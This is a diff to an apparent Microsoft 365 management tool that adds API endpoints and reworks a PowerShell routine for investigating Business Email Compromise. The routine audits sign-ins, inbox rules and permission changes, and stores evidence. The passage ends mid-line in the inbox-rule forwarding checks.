@@ "application/json": { "schema": { "type": "object", - "description": "Derived from the fields the endpoint selects onto each record. The response may carry more; these are the ones known to exist.", + "description": "Derived from the Microsoft Graph entity it queries, and the fields the endpoint selects onto each record. The fields taken from Graph are the ones this endpoint selects, so they are what the response actually carries.", "properties": { - "Results": { + "resultText": { "x-cipp-field-source": "backend" + }, + "state": { + "type": "string", + "x-cipp-field-source": "graph,backend" } } } } } }, + "400": { + "description": "Bad request - missing required field or invalid input" + }, + "401": { + "description": "Unauthorized - invalid or missing bearer token" + }, + "403": { + "description": "Forbidden - caller lacks the required RBAC role" + }, + "500": { + "description": "Internal server error" + } + }, + "security": [ + { + "bearerAuth": [] + } + ], + "x-cipp-role": "Identity.User.ReadWrite" + } + }, + "/api/ExecBECReport": { + "post": { + "summary": "Manages a stored Business Email Compromise run.", + "operationId": "ExecBECReport", + "tags": [ + "Identity > Administration > Users" + ], + "description": "Action=Delete removes a BEC run permanently: its results payload, its evidence package and the run row. Runs are otherwise kept indefinitely.", + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "Action": { + "type": "string", + "description": "Currently only Delete" + }, + "caseId": { + "type": "string" + }, + "tenantFilter": { + "type": "string" + } + }, + "required": [ + "tenantFilter" + ] + } + } + } + }, + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "description": "Not described statically: this endpoint returns the upstream response as-is, so its fields are determined by the upstream API rather than by CIPP. Call the endpoint to see the actual shape, or add a response schema in backend/Config/openapi-overrides." + } + } + } + }, "401": { "description": "Unauthorized - invalid or missing bearer token" }, @@ -40866,6 +41124,356 @@ "x-cipp-role": "Identity.AuditLog.Read" } }, + "/api/ListBECEvidence": { + "get": { + "summary": "Builds and downloads the evidence package of a Business Email Compromise run.", + "operationId": "ListBECEvidence", + "tags": [ + "Identity > Administration > Users" + ], + "description": "With download=true, collates the run's stored results, containment history and case logbook into a fresh ZIP with a SHA-256 manifest and streams it as application/zip; nothing is stored - the export is recorded on the run (hash, time, size) so the download can be verified later. This path cannot include the PDF report, which only the browser can render; ExecBECEvidenceExport accepts one. Without download=true the run's recorded exports are returned instead.", + "parameters": [ + { + "name": "caseId", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + }, + { + "name": "download", + "in": "query", + "description": "true builds and streams the ZIP; otherwise the run's recorded exports are returned", + "required": false, + "schema": { + "type": "boolean" + } + }, + { + "$ref": "#/components/parameters/tenantFilter" + } + ], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": { + "type": "object", + "description": "Not described statically: this endpoint returns the upstream response as-is, so its fields are determined by the upstream API rather than by CIPP. Call the endpoint to see the actual shape, or add a response schema in backend/Config/openapi-overrides." + } + } + } + } + }, + "401": { + "description": "Unauthorized - invalid or missing bearer token" + }, + "403": { + "description": "Forbidden - caller lacks the required RBAC role" + }, + "500": { + "description": "Internal server error" + } + }, + "security": [ + { + "bearerAuth": [] + } + ], + "x-cipp-role": "Identity.User.Read" + } + }, + "/api/ListBECPhishingSpread": { + "get": { + "summary": "Lists who else received mail from a sender, from message-trace metadata.", + "operationId": "ListBECPhishingSpread", + "tags": [ + "Identity > Administration > Users" + ], + "description": "Given a sender address (and optionally a subject fragment), walks the message trace for the last N days and groups the recipients: address, internal or external, message count, first and last delivery and the subjects seen. Use it to find the spread of a phishing message from a compromised or look-alike sender. Metadata only - no message content is read.", + "parameters": [ + { + "name": "days", + "in": "query", + "description": "look-back in days (1-90)", + "required": false, + "schema": { + "type": "string" + } + }, + { + "name": "sender", + "in": "query", + "description": "the sender to trace", + "required": false, + "schema": { + "type": "string" + } + }, + { + "name": "subject", + "in": "query", + "description": "optional subject fragment to narrow the trace (case-insensitive contains)", + "required": false, + "schema": { + "type": "string" + } + }, + { + "$ref": "#/components/parameters/tenantFilter" + } + ], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": { + "type": "object", + "description": "Derived from the fields the endpoint selects onto each record. The response may carry more; these are the ones known to exist.", + "properties": { + "Complete": { + "x-cipp-field-source": "backend" + }, + "Days": { + "x-cipp-field-source": "backend" + }, + "ExternalCount": { + "x-cipp-field-source": "backend" + }, + "InternalCount": { + "x-cipp-field-source": "backend" + }, + "Recipients": { + "x-cipp-field-source": "backend" + }, + "Sender": { + "x-cipp-field-source": "backend" + }, + "TotalMessages": { + "x-cipp-field-source": "backend" + } + } + } + } + } + } + }, + "401": { + "description": "Unauthorized - invalid or missing bearer token" + }, + "403": { + "description": "Forbidden - caller lacks the required RBAC role" + }, + "500": { + "description": "Internal server error" + } + }, + "security": [ + { + "bearerAuth": [] + } + ], + "x-cipp-role": "Identity.User.Read" + } + }, + "/api/ListBECRemediationActions": { + "get": { + "summary": "Lists the available Business Email Compromise containment actions.", + "operationId": "ListBECRemediationActions", + "tags": [ + "Identity > Administration > Users" + ], + "description": "Returns the catalog of containment actions ExecBECRemediate accepts - id, label, description, impact (Low/Medium/High/Critical), whether it is reversible and whether it runs by default.", + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": { + "type": "object", + "description": "Derived from the fields the endpoint selects onto each record. The response may carry more; these are the ones known to exist.", + "properties": { + "Actions": { + "x-cipp-field-source": "backend" + }, + "DefaultSelected": { + "x-cipp-field-source": "backend" + }, + "Description": { + "x-cipp-field-source": "backend" + }, + "Id": { + "x-cipp-field-source": "backend" + }, + "Impact": { + "x-cipp-field-source": "backend" + }, + "Label": { + "x-cipp-field-source": "backend" + }, + "Order": { + "x-cipp-field-source": "backend" + }, + "ParameterName": { + "x-cipp-field-source": "backend" + }, + "Reversible": { + "x-cipp-field-source": "backend" + }, + "TargetSource": { + "x-cipp-field-source": "backend" + } + } + } + } + } + } + }, + "401": { + "description": "Unauthorized - invalid or missing bearer token" + }, + "403": { + "description": "Forbidden - caller lacks the required RBAC role" + }, + "500": { + "description": "Internal server error" + } + }, + "security": [ + { + "bearerAuth": [] + } + ], + "x-cipp-role": "Identity.User.Read", + "x-cipp-any-tenant": true + } + }, + "/api/ListBECReports": { + "get": { + "summary": "Lists Business Email Compromise runs.", + "operationId": "ListBECReports", + "tags": [ + "Identity > Administration > Users" + ], + "description": "Lists every stored BEC run (case id, user, scope, status, threat level and score, when it was extracted, who requested it, whether evidence was exported) for a tenant, or for every tenant with tenantFilter=AllTenants. Optionally narrowed to one user with userId. Runs are kept until deleted; this list never reads the result payloads.", + "parameters": [ + { + "name": "tenantFilter", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + }, + { + "name": "userId", + "in": "query", + "description": "Narrow the list to one user's run history", + "required": false, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": { + "type": "object", + "description": "Derived from the fields the endpoint selects onto each record. The response may carry more; these are the ones known to exist.", + "properties": { + "CaseId": { + "x-cipp-field-source": "backend" + }, + "ContainmentRuns": { + "x-cipp-field-source": "backend" + }, + "DisplayName": { + "x-cipp-field-source": "backend" + }, + "ErrorMessage": { + "x-cipp-field-source": "backend" + }, + "EvidenceCreatedAt": { + "x-cipp-field-source": "backend" + }, + "EvidenceSha256": { + "x-cipp-field-source": "backend" + }, + "ExtractedAt": { + "x-cipp-field-source": "backend" + }, + "HasEvidence": { + "x-cipp-field-source": "backend" + }, + "IncompleteCount": { + "x-cipp-field-source": "backend" + }, + "Level": { + "x-cipp-field-source": "backend" + }, + "RequestedAt": { + "x-cipp-field-source": "backend" + }, + "RequestedBy": { + "x-cipp-field-source": "backend" + }, + "Scope": { + "x-cipp-field-source": "backend" + }, + "Score": { + "x-cipp-field-source": "backend" + }, + "Status": { + "x-cipp-field-source": "backend" + }, + "Tenant": { + "x-cipp-field-source": "backend" + }, + "UserId": { + "x-cipp-field-source": "backend" + }, + "UserPrincipalName": { + "x-cipp-field-source": "backend" + } + } + } + } + } + } + }, + "401": { + "description": "Unauthorized - invalid or missing bearer token" + }, + "403": { + "description": "Forbidden - caller lacks the required RBAC role" + }, + "500": { + "description": "Internal server error" + } + }, + "security": [ + { + "bearerAuth": [] + } + ], + "x-cipp-role": "Identity.User.Read", + "x-cipp-any-tenant": true + } + }, "/api/ListBPA": { "get": { "summary": "ListBPA", diff --git a/backend/Modules/CIPPActivityTriggers/Public/Entrypoints/Activity Triggers/BEC/Push-BECRun.ps1 b/backend/Modules/CIPPActivityTriggers/Public/Entrypoints/Activity Triggers/BEC/Push-BECRun.ps1 index 2fda2e5351..77f3af473b 100644 --- a/backend/Modules/CIPPActivityTriggers/Public/Entrypoints/Activity Triggers/BEC/Push-BECRun.ps1 +++ b/backend/Modules/CIPPActivityTriggers/Public/Entrypoints/Activity Triggers/BEC/Push-BECRun.ps1 @@ -1,24 +1,117 @@ -function Push-BECRun { +function Push-BECRun { <# .FUNCTIONALITY Entrypoint + .SYNOPSIS + Runs the Business Email Compromise check for one user and stores the run. + .DESCRIPTION + Queued by Invoke-ExecBECCheck / Invoke-ExecBECBulkCheck. Scope 'Quick' collects what the check + always collected (audit-log changes, sign-ins, rules, safelists, sharing, sent mail, apps, MFA, + devices, location analysis); scope 'Full' adds the delegation inventory, the user's OAuth + grants, transport rules, add-ins, received-mail heuristics, Defender detections, directory + audits, registered devices, non-interactive sign-ins, mailbox-activity counts and Identity + Protection state. Every collector records a completeness marker and the threat score is + computed server-side. Results go to the BecReports table (metadata) and blob storage (payload), + keyed by the case id. Metadata only - no message bodies, attachments or file contents. #> param($Item) $TenantFilter = $Item.TenantFilter $SuspectUser = $Item.UserID $UserName = $Item.userName + # Every run is the full investigation; Scope stays on the row so older quick runs in the history keep their label. + $Scope = 'Full' + $CaseId = if ($Item.CaseId) { [string]$Item.CaseId } else { New-CIPPBecCaseId } if (!$TenantFilter -or !$SuspectUser) { Write-Information 'BEC: No user or tenant specified' return } - $Table = Get-CippTable -tablename 'cachebec' - Write-Information "Working on $UserName" + # The collectors bind the UPN as a mandatory parameter and attribute audit records to it; a blank one + # throws "empty string" across the run and makes the tenant-wide record filter (-UserIds / -like) match + # everything, so unrelated tenant and admin actions surface as this user's compromise events. Resolve + # it from the object id when the run was queued without one, and fail the run cleanly if it truly can't + # be found rather than producing a run full of errors and false positives. + if ([string]::IsNullOrWhiteSpace($UserName)) { + try { + $ResolvedUser = New-GraphGetRequest -uri "https://graph.microsoft.com/v1.0/users/$($SuspectUser)?`$select=userPrincipalName" -tenantid $TenantFilter -AsApp $true + $UserName = [string]$ResolvedUser.userPrincipalName + if (-not [string]::IsNullOrWhiteSpace($UserName)) { + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -Properties @{ UserPrincipalName = $UserName } + } + } catch { + Write-Information "BEC: could not resolve a UPN for $SuspectUser in $TenantFilter`: $($_.Exception.Message)" + } + } + if ([string]::IsNullOrWhiteSpace($UserName)) { + Write-Information "BEC: the investigated user ($SuspectUser) has no resolvable UPN; marking the run failed." + try { + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -Properties @{ Status = 'Error'; ErrorMessage = 'The investigated user could not be resolved to a user principal name (the account was deleted, or no UPN was provided to the run).'; ExtractedAt = (Get-Date).ToUniversalTime().ToString('o') } + } catch { + Write-Information "BEC: could not mark the unresolved run $CaseId failed: $($_.Exception.Message)" + } + return + } + + Set-CippBecCaseContext -CaseId $CaseId + Write-Information "Working on $UserName ($Scope scope, case $CaseId)" + + # Live progress for the page: the async-deployment row keyed on the case id (created when the + # run was queued; created here for runs queued another way), one step per phase. Progress + # writes are best-effort - a failure to report never fails the run. + $StepIndex = @{} + $RunSteps = @(Get-CIPPBecRunSteps) + for ($i = 0; $i -lt $RunSteps.Count; $i++) { $StepIndex[$RunSteps[$i].Key] = $i } + $ProgressName = if ([string]::IsNullOrWhiteSpace($UserName)) { [string]$SuspectUser } else { [string]$UserName } + $Progress = @{ Current = $null } try { - $startDate = (Get-Date).ToUniversalTime().AddDays(-7) + # (Re)create the job so every step starts pending: Craft retries a killed activity under the same + # case id, and the retry must not inherit the dead attempt's half-finished steps. + $null = New-CIPPAsyncDeployment -JobId $CaseId -Names @($ProgressName) -StepTitles @($RunSteps.Title) -Source 'BEC' + Set-CIPPAsyncDeploymentStatus -JobId $CaseId -Name $ProgressName -Status 'running' + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -Properties @{ Status = 'Running'; StartedAt = (Get-Date).ToUniversalTime().ToString('o') } + } catch { + Write-Information "BEC: progress reporting unavailable for $CaseId`: $($_.Exception.Message)" + } + $Step = { + param($Key, $Status, $Message) + if (-not $StepIndex.ContainsKey($Key)) { return } + Set-CIPPAsyncDeploymentStep -JobId $CaseId -Name $ProgressName -StepIndex $StepIndex[$Key] -StepStatus $Status -Message ([string]$Message) + } + # Marks the previous phase done and the next one running. + $Phase = { + param($Key, $Message) + if ($Progress.Current) { & $Step $Progress.Current 'succeeded' 'Done' } + $Progress.Current = $Key + & $Step $Key 'running' $Message + } + try { + $Heuristics = Get-CIPPBecHeuristics + $Caps = $Heuristics.caps + $WindowDays = [int]($Heuristics.window.days ?? 7) + $startDate = (Get-Date).ToUniversalTime().AddDays(-$WindowDays) $endDate = (Get-Date).ToUniversalTime() + $AuditPages = [int]($Caps.auditLogPages ?? 10) + + # Completeness marker per collector: { Complete, Cap, Error, Skipped, Requirement, Count }. + # Skipped/Requirement are null-safe: inline markers that omit them read as $false/$null. + $Completeness = [ordered]@{} + $Mark = { + param($Name, $Result) + # Clean and classify the error once, here, so every collector benefits: known-benign + # conditions (no mailbox, no Intune) become a skip with a plain reason, and raw Exchange + # exception text is trimmed for display. + $Info = if ($Result.Error) { Get-CIPPBecErrorInfo -Message ([string]$Result.Error) } else { $null } + $Completeness[$Name] = [pscustomobject]@{ + Complete = [bool]$Result.Complete + Cap = $Result.Cap + Error = if ($Info) { $Info.Message } else { $Result.Error } + Skipped = [bool]($Result.Skipped -or ($Info -and $Info.Skipped)) + Requirement = if ($Result.Requirement) { $Result.Requirement } elseif ($Info) { $Info.Requirement } else { $null } + Count = [int]$Result.Count + } + } # conditionalAccessStatus is 'success'/'notApplied'/'failure'; errorCode 0 is a successful # sign-in. Shared by every sign-in projection below. @@ -27,39 +120,30 @@ # renders a locale string neither understands $SignInDate = { if ($_.createdDateTime) { ([datetime]$_.createdDateTime).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } } + & $Phase 'AuditLog' "Searching the unified audit log for the last $WindowDays days" Write-Information 'Getting audit logs' + $auditLog = $null try { $auditLog = (New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-AdminAuditLogConfig').UnifiedAuditLogIngestionEnabled - $7DaysLog = if ($auditLog -eq $false) { + if ($auditLog -eq $false) { + $PermissionRecords = @() $ExtractResult = 'AuditLog is disabled. Cannot perform full analysis' + & $Mark 'AuditLog' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = 'Unified audit log ingestion is disabled for this tenant'; Count = 0 }) } else { - $sessionid = Get-Random -Minimum 10000 -Maximum 99999 - $operations = @( - 'Remove-MailboxPermission', - 'Add-MailboxPermission', - 'UpdateCalendarDelegation', - 'AddFolderPermissions' - ) - $SearchParam = @{ - SessionCommand = 'ReturnLargeSet' - Operations = $operations - sessionid = $sessionid - startDate = $startDate - endDate = $endDate - } - do { - $logsTenant = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Search-unifiedAuditLog' -cmdParams $SearchParam -Anchor $Username - Write-Information "Retrieved $($logsTenant.count) logs" - $logsTenant - } while ($LogsTenant.count % 5000 -eq 0 -and $LogsTenant.count -ne 0) + $PermissionSearch = Search-CIPPBecAuditLog -TenantFilter $TenantFilter -StartDate $startDate -EndDate $endDate -Operations @('Remove-MailboxPermission', 'Add-MailboxPermission', 'UpdateCalendarDelegation', 'AddFolderPermissions') -Anchor $UserName -MaxPages $AuditPages + $PermissionRecords = @($PermissionSearch.Records) + Write-Information "Retrieved $($PermissionRecords.Count) permission change records" $ExtractResult = 'Successfully extracted logs from auditlog' + & $Mark 'AuditLog' ([pscustomobject]@{ Complete = $PermissionSearch.Complete; Cap = $PermissionSearch.Cap; Error = $null; Count = $PermissionRecords.Count }) } } catch { - $7DaysLog = @() + $PermissionRecords = @() $CippAuditError = Get-CippException -Exception $_ $ExtractResult = "Could not retrieve audit logs: $($CippAuditError.NormalizedError)" + & $Mark 'AuditLog' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = $ExtractResult; Count = 0 }) Write-LogMessage -API 'BECRun' -message "Failed to retrieve audit logs for $($UserName): $($CippAuditError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CippAuditError } + & $Phase 'SignIns' 'Reading sign-ins and mobile devices' Write-Information 'Getting last sign-in' try { $URI = "https://graph.microsoft.com/beta/auditLogs/signIns?`$filter=(userId eq '$SuspectUser')&`$top=1&`$orderby=createdDateTime desc" @@ -80,8 +164,9 @@ } Write-Information 'Getting suspect user sign-ins' $SuspectUserSignInsError = $null + $SignInCap = [int]($Caps.signIns ?? 50) try { - $URI = "https://graph.microsoft.com/beta/auditLogs/signIns?`$filter=(userId eq '$SuspectUser')&`$top=50&`$orderby=createdDateTime desc" + $URI = "https://graph.microsoft.com/beta/auditLogs/signIns?`$filter=(userId eq '$SuspectUser')&`$top=$SignInCap&`$orderby=createdDateTime desc" $SuspectUserSignIns = @(New-GraphGetRequest -uri $URI -tenantid $TenantFilter -noPagination $true | Select-Object @{ Name = 'CreatedDateTime'; Expression = $SignInDate }, id, @{ Name = 'AppDisplayName'; Expression = { $_.resourceDisplayName } }, @@ -90,10 +175,12 @@ @{ Name = 'IPAddress'; Expression = { $_.ipAddress } }, @{ Name = 'Country'; Expression = { $_.location.countryOrRegion } }, @{ Name = 'City'; Expression = { $_.location.city } }) + & $Mark 'SignIns' ([pscustomobject]@{ Complete = ($SuspectUserSignIns.Count -lt $SignInCap); Cap = $(if ($SuspectUserSignIns.Count -ge $SignInCap) { "$SignInCap most recent sign-ins" } else { $null }); Error = $null; Count = $SuspectUserSignIns.Count }) } catch { $SuspectUserSignIns = @() $CippSignInError = Get-CippException -Exception $_ $SuspectUserSignInsError = "Could not retrieve sign-in logs: $($CippSignInError.NormalizedError)" + & $Mark 'SignIns' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = $SuspectUserSignInsError; Count = 0 }) Write-LogMessage -API 'BECRun' -message "Failed to retrieve sign-ins for $($UserName): $($CippSignInError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CippSignInError } Write-Information 'Getting user devices' @@ -101,73 +188,86 @@ $Bytes = [System.Text.Encoding]::UTF8.GetBytes($SuspectUser) $base64IdentityParam = [Convert]::ToBase64String($Bytes) try { - $Devices = New-GraphGetRequest -uri "https://outlook.office365.com:443/adminapi/beta/$($TenantFilter)/mailbox('$($base64IdentityParam)')/MobileDevice/Exchange.GetMobileDeviceStatistics()/?IsEncoded=True" -Tenantid $TenantFilter -scope ExchangeOnline + $Devices = @(New-GraphGetRequest -uri "https://outlook.office365.com:443/adminapi/beta/$($TenantFilter)/mailbox('$($base64IdentityParam)')/MobileDevice/Exchange.GetMobileDeviceStatistics()/?IsEncoded=True" -Tenantid $TenantFilter -scope ExchangeOnline) + & $Mark 'MobileDevices' ([pscustomobject]@{ Complete = $true; Cap = $null; Error = $null; Count = $Devices.Count }) } catch { - $Devices = $null + $Devices = @() + & $Mark 'MobileDevices' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = "Could not retrieve mobile devices: $((Get-NormalizedError -message $_.Exception.Message))"; Count = 0 }) } try { # for the target-mailbox heuristic below: canonical ObjectIds carry the alias, not the UPN $UserLocalPart = ($UserName -split '@')[0] - $PermissionsLog = ($7DaysLog | Where-Object -Property Operations -In 'Remove-MailboxPermission', 'Add-MailboxPermission', 'UpdateCalendarDelegation', 'AddFolderPermissions' ).AuditData | ConvertFrom-Json -ErrorAction Stop | ForEach-Object { - $perms = if ($_.Parameters) { - $_.Parameters | ForEach-Object { if ($_.Name -eq 'AccessRights') { $_.Value } } - } else - { $_.item.ParentFolder.MemberRights } - $objectID = if ($_.ObjectID) { $_.ObjectID } else { $($_.MailboxOwnerUPN) + $_.item.ParentFolder.Path } - # this is a tenant-wide search; flag the rows that concern the investigated mailbox - # so the threat score can weight them above unrelated tenant churn - $IdentityParam = if ($_.Parameters) { ($_.Parameters | Where-Object { $_.Name -eq 'Identity' }).Value } - $TargetCandidates = @($objectID, $IdentityParam, $_.MailboxOwnerUPN) -join ' ' - [pscustomobject]@{ - Operation = $_.Operation - UserKey = $_.UserKey - ObjectId = $objectId - Permissions = $perms - TargetsSuspect = ($TargetCandidates -like "*$UserName*" -or ($UserLocalPart -and $TargetCandidates -like "*$UserLocalPart*")) - } - } + $PermissionsLog = @($PermissionRecords | Where-Object { $_.AuditData -and $_.Operation -in 'Remove-MailboxPermission', 'Add-MailboxPermission', 'UpdateCalendarDelegation', 'AddFolderPermissions' } | ForEach-Object { + $AD = $_.AuditData + $perms = if ($AD.Parameters) { + $AD.Parameters | ForEach-Object { if ($_.Name -eq 'AccessRights') { $_.Value } } + } else + { $AD.item.ParentFolder.MemberRights } + $objectID = if ($AD.ObjectID) { $AD.ObjectID } else { $($AD.MailboxOwnerUPN) + $AD.item.ParentFolder.Path } + # this is a tenant-wide search; flag the rows that concern the investigated mailbox + # so the threat score can weight them above unrelated tenant churn + $IdentityParam = if ($AD.Parameters) { ($AD.Parameters | Where-Object { $_.Name -eq 'Identity' }).Value } + $TargetCandidates = @($objectID, $IdentityParam, $AD.MailboxOwnerUPN) -join ' ' + # who received the access: the User/Trustee parameter, or the folder member for AddFolderPermissions + $Trustee = if ($AD.Parameters) { ($AD.Parameters | Where-Object { $_.Name -in @('User', 'Trustee', 'Delegate') } | Select-Object -First 1).Value } else { $AD.item.ParentFolder.MemberUpn ?? $AD.item.ParentFolder.MemberSid } + [pscustomobject]@{ + Operation = $AD.Operation + UserKey = $AD.UserKey + ObjectId = $objectId + Permissions = $perms + Trustee = [string]$Trustee + Date = $AD.CreationTime + ClientIP = $AD.ClientIP ?? $AD.ClientIPAddress + TargetsSuspect = ($TargetCandidates -like "*$UserName*" -or ($UserLocalPart -and $TargetCandidates -like "*$UserLocalPart*")) + } + }) } catch { $PermissionsLog = @() } + & $Phase 'MailboxRules' 'Reading inbox rules, safelists and sharing links' + + # Inbox-rule, safelist and sharing changes are all user-scoped to the same mailbox and window; + # only their operations differ, and the unified-audit-log session is the slow part. One combined + # search feeds all three (partitioned by operation locally) instead of three separate sessions. + $RuleOps = @('New-InboxRule', 'Set-InboxRule', 'Remove-InboxRule', 'UpdateInboxRules') + $SafelistOps = @('Set-MailboxJunkEmailConfiguration') + $SharingOps = @('SharingSet', 'SharingInvitationCreated', 'AnonymousLinkCreated', 'AnonymousLinkUpdated', 'SecureLinkCreated', 'SecureLinkUpdated', 'AddedToSecureLink', 'CompanyLinkCreated') + $ChangeSearch = $null + $ChangeSearchError = $null + if ($auditLog -ne $false) { + try { + $ChangeSearch = Search-CIPPBecAuditLog -TenantFilter $TenantFilter -StartDate $startDate -EndDate $endDate -Operations @($RuleOps + $SafelistOps + $SharingOps) -UserIds @($UserName) -Anchor $UserName -MaxPages $AuditPages + } catch { + $ChangeSearchError = Get-CippException -Exception $_ + } + } + $ChangeRecords = @($ChangeSearch.Records) + Write-Information 'Getting inbox rule changes' try { $RuleChangesLog = if ($auditLog -eq $false) { @() } else { - # ponytail: separate user-scoped search - UpdateInboxRules is too high-volume for the tenant-wide query above - $RuleSearchParam = @{ - SessionCommand = 'ReturnLargeSet' - Operations = @('New-InboxRule', 'Set-InboxRule', 'Remove-InboxRule', 'UpdateInboxRules') - sessionid = (Get-Random -Minimum 10000 -Maximum 99999) - startDate = $startDate - endDate = $endDate - # Must be an array: New-ExoRequest JSON-serializes cmdParams, and a bare - # string binds to Search-UnifiedAuditLog's String[] UserIds as a scalar, - # which EXO rejects with an argument transformation error. - UserIds = @($UserName) - } - # A search with no hits returns no AuditData at all, and piping that null into - # ConvertFrom-Json throws - which would report every clean user as a failure. - $RuleAuditData = (New-ExoRequest -tenantid $TenantFilter -cmdlet 'Search-UnifiedAuditLog' -cmdParams $RuleSearchParam -Anchor $UserName).AuditData - if (-not $RuleAuditData) { @() } else { - $RuleAuditData | ConvertFrom-Json -ErrorAction Stop | - Where-Object { $_.UserId -eq $UserName -or $_.MailboxOwnerUPN -eq $UserName -or $_.ObjectId -like "*$UserName*" } | ForEach-Object { - $RuleName = ($_.Parameters | Where-Object { $_.Name -eq 'Name' }).Value ?? $_.ObjectId - [pscustomobject]@{ - Operation = $_.Operation - UserKey = $_.UserId - RuleName = $RuleName - Parameters = ($_.Parameters | Where-Object { $_ -and $_.Name -notin 'Identity', 'Name' } | ForEach-Object { "$($_.Name)=$($_.Value)" }) -join '; ' - Date = $_.CreationTime - # admin-cmdlet records carry ClientIP, mailbox-sync records (UpdateInboxRules) ClientIPAddress - ClientIP = $_.ClientIP ?? $_.ClientIPAddress - } + if ($ChangeSearchError) { throw $ChangeSearchError.NormalizedError } + $RuleRecords = @($ChangeRecords | Where-Object { $RuleOps -contains [string]$_.Operation }) + & $Mark 'InboxRuleChanges' ([pscustomobject]@{ Complete = [bool]$ChangeSearch.Complete; Cap = $ChangeSearch.Cap; Error = $null; Count = $RuleRecords.Count }) + @($RuleRecords | ForEach-Object { $_.AuditData } | Where-Object { $_ -and ($_.UserId -eq $UserName -or $_.MailboxOwnerUPN -eq $UserName -or $_.ObjectId -like "*$UserName*") } | ForEach-Object { + $RuleName = ($_.Parameters | Where-Object { $_.Name -eq 'Name' }).Value ?? $_.ObjectId + [pscustomobject]@{ + Operation = $_.Operation + UserKey = $_.UserId + RuleName = $RuleName + Parameters = ($_.Parameters | Where-Object { $_ -and $_.Name -notin 'Identity', 'Name' } | ForEach-Object { "$($_.Name)=$($_.Value)" }) -join '; ' + Date = $_.CreationTime + # admin-cmdlet records carry ClientIP, mailbox-sync records (UpdateInboxRules) ClientIPAddress + ClientIP = $_.ClientIP ?? $_.ClientIPAddress } - } + }) } } catch { $RuleChangesLog = @() $CippRuleError = Get-CippException -Exception $_ + & $Mark 'InboxRuleChanges' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = $CippRuleError.NormalizedError; Count = 0 }) Write-LogMessage -API 'BECRun' -message "Failed to retrieve inbox rule changes for $($UserName): $($CippRuleError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CippRuleError } @@ -176,15 +276,60 @@ try { $RulesLog = New-ExoRequest -cmdlet 'Get-InboxRule' -tenantid $TenantFilter -cmdParams @{ Mailbox = $Username; IncludeHidden = $true } -Anchor $Username | Where-Object { $_.Name -ne 'Junk E-Mail Rule' -and $_.Name -notlike 'Microsoft.Exchange.OOF.*' } + & $Mark 'InboxRules' ([pscustomobject]@{ Complete = $true; Cap = $null; Error = $null; Count = @($RulesLog | Where-Object { $_ }).Count }) } catch { $CippRulesError = Get-CippException -Exception $_ + & $Mark 'InboxRules' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = $CippRulesError.NormalizedError; Count = 0 }) Write-LogMessage -API 'BECRun' -message "Failed to retrieve inbox rules for $($UserName): $($CippRulesError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CippRulesError $RulesLog = @() } - # inbox rules carry no timestamps, so 'recent' = name-matches a 7-day audit event; Outlook-client changes (UpdateInboxRules) carry no rule name and stay unflagged + # inbox rules carry no timestamps, so 'recent' = name-matches an audit event in the window; Outlook-client changes (UpdateInboxRules) carry no rule name and stay unflagged $RecentRuleNames = @($RuleChangesLog | Where-Object { $_.Operation -in 'New-InboxRule', 'Set-InboxRule' } | ForEach-Object { ($_.RuleName -split '\\')[-1] }) - $RulesLog = @($RulesLog | Where-Object { $_ } | Select-Object *, @{ Name = 'RecentlyChanged'; Expression = { $_.Name -in $RecentRuleNames } }) + $LowVisibilityRegex = [string]$Heuristics.inboxRules.lowVisibilityFolderRegex + $SensitiveNameRegex = [string]$Heuristics.inboxRules.sensitiveNameRegex + $SensitiveKeywordRegex = [string]$Heuristics.inboxRules.sensitiveKeywordRegex + $SuspiciousFolder = [string]$Heuristics.inboxRules.suspiciousFolderPattern + # AcceptedDomains is fetched later, so 'external' here is any forward domain that is not the + # user's own domain or the tenant's default domain - approximate, but the false positive + # (a legitimate internal forward across a second accepted domain) is still worth a look. + $InternalDomains = @(($UserName -split '@')[-1], $TenantFilter) | ForEach-Object { ([string]$_).ToLowerInvariant() } | Where-Object { $_ } | Select-Object -Unique + # Condition properties that scope a rule to specific mail; with none set the rule acts on everything. + $RuleConditionProps = @('From', 'FromAddressContainsWords', 'SubjectContainsWords', 'BodyContainsWords', 'SubjectOrBodyContainsWords', 'SentTo', 'RecipientAddressContainsWords', 'HeaderContainsWords', 'MyNameInToBox', 'MyNameInCcBox', 'MyNameInToOrCcBox', 'HasAttachment', 'MessageTypeMatches', 'WithImportance', 'WithSensitivity', 'FromSubscription', 'FlaggedForAction') + # Condition properties whose words are scanned for financial/sensitive terms. + $RuleKeywordProps = @('SubjectContainsWords', 'BodyContainsWords', 'SubjectOrBodyContainsWords', 'FromAddressContainsWords', 'HeaderContainsWords') + $RulesLog = @($RulesLog | Where-Object { $_ } | ForEach-Object { + $Rule = $_ + $Reasons = [System.Collections.Generic.List[string]]::new() + # Forwarding/redirection - external is the exfiltration case, called out separately. + $ForwardTargets = @(@($Rule.ForwardTo) + @($Rule.RedirectTo) + @($Rule.ForwardAsAttachmentTo) | Where-Object { $_ }) + $ForwardDomains = @($ForwardTargets | ForEach-Object { if ("$_" -match '@([A-Za-z0-9.\-]+)') { $Matches[1].ToLowerInvariant() } } | 